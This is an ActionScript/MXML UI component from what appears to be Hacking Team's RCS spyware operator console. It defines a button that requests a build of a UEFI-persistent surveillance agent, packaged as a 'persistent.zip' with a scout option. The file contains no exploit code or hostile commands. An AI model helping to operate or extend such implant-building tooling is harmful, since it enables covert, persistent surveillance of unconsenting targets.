hackedteam/rcs-console

View on GitHub
src/it/ht/rcs/console/operations/view/agents/build/desktop/DskUEFI.mxml

Summary

Maintainability
Test Coverage
<?xml version="1.0" encoding="utf-8"?>
<s:Group xmlns:fx="http://ns.adobe.com/mxml/2009" 
         xmlns:s="library://ns.adobe.com/flex/spark" 
         xmlns:mx="library://ns.adobe.com/flex/mx" width="100%" height="100%" xmlns:build="it.ht.rcs.console.operations.view.agents.build.*">
  <fx:Script>
    <![CDATA[
      import it.ht.rcs.console.monitor.controller.LicenseManager;
      import it.ht.rcs.console.operations.view.agents.build.UploadPopup;
      import it.ht.rcs.console.operations.view.configuration.ConfigurationView;
      import it.ht.rcs.console.task.controller.DownloadManager;
      import it.ht.rcs.console.utils.AlertPopUp;
      
      import locale.R;
      
      import mx.core.UIComponent;
      import mx.managers.PopUpManager;
      import mx.rpc.events.FaultEvent;
      import mx.rpc.events.ResultEvent;
      
      private var fileReference:FileReference;
      
      [Bindable]
      private var _platform:String;
      
      [Bindable]
      public var configView:ConfigurationView;
      
     
      private var uploadPopup:UploadPopup;
      private function create():void
      {
        
        var params:Object = {platform: 'uefi', generate: {platforms: [parentDocument.platform], 
            binary: {demo: createBtn.demo.selected}, 
            melt: {scout: true} } 
        };
        
        params['factory'] = {_id: parentDocument.factory._id};
        
        var filename:String = parentDocument.factory.name + "_" + parentDocument.platform + '_persistent.zip'
        
        DownloadManager.instance.createTask("build", filename, params, onSuccess, onFailure);        
      }
            
      private function onSuccess(e:ResultEvent):void
      {
        PopUpManager.removePopUp(((parentDocument as UIComponent).parentDocument).hostComponent);
      }
      
      private function onFailure(e:FaultEvent):void
      {
        AlertPopUp.show(R.get('TASK_ALREADY_CREATED'));
      }

      public function set platform(platform:*):void
      {
        if (platform == null)
          return;
        
        _platform = platform;
        
        createBtn.platforms = [platform];
      }
    ]]>
  </fx:Script>
  
  
  <build:CreateWithDemoButton id="createBtn" left="10" bottom="0" right="10" create="{create}" configView="{configView}"/>
  
</s:Group>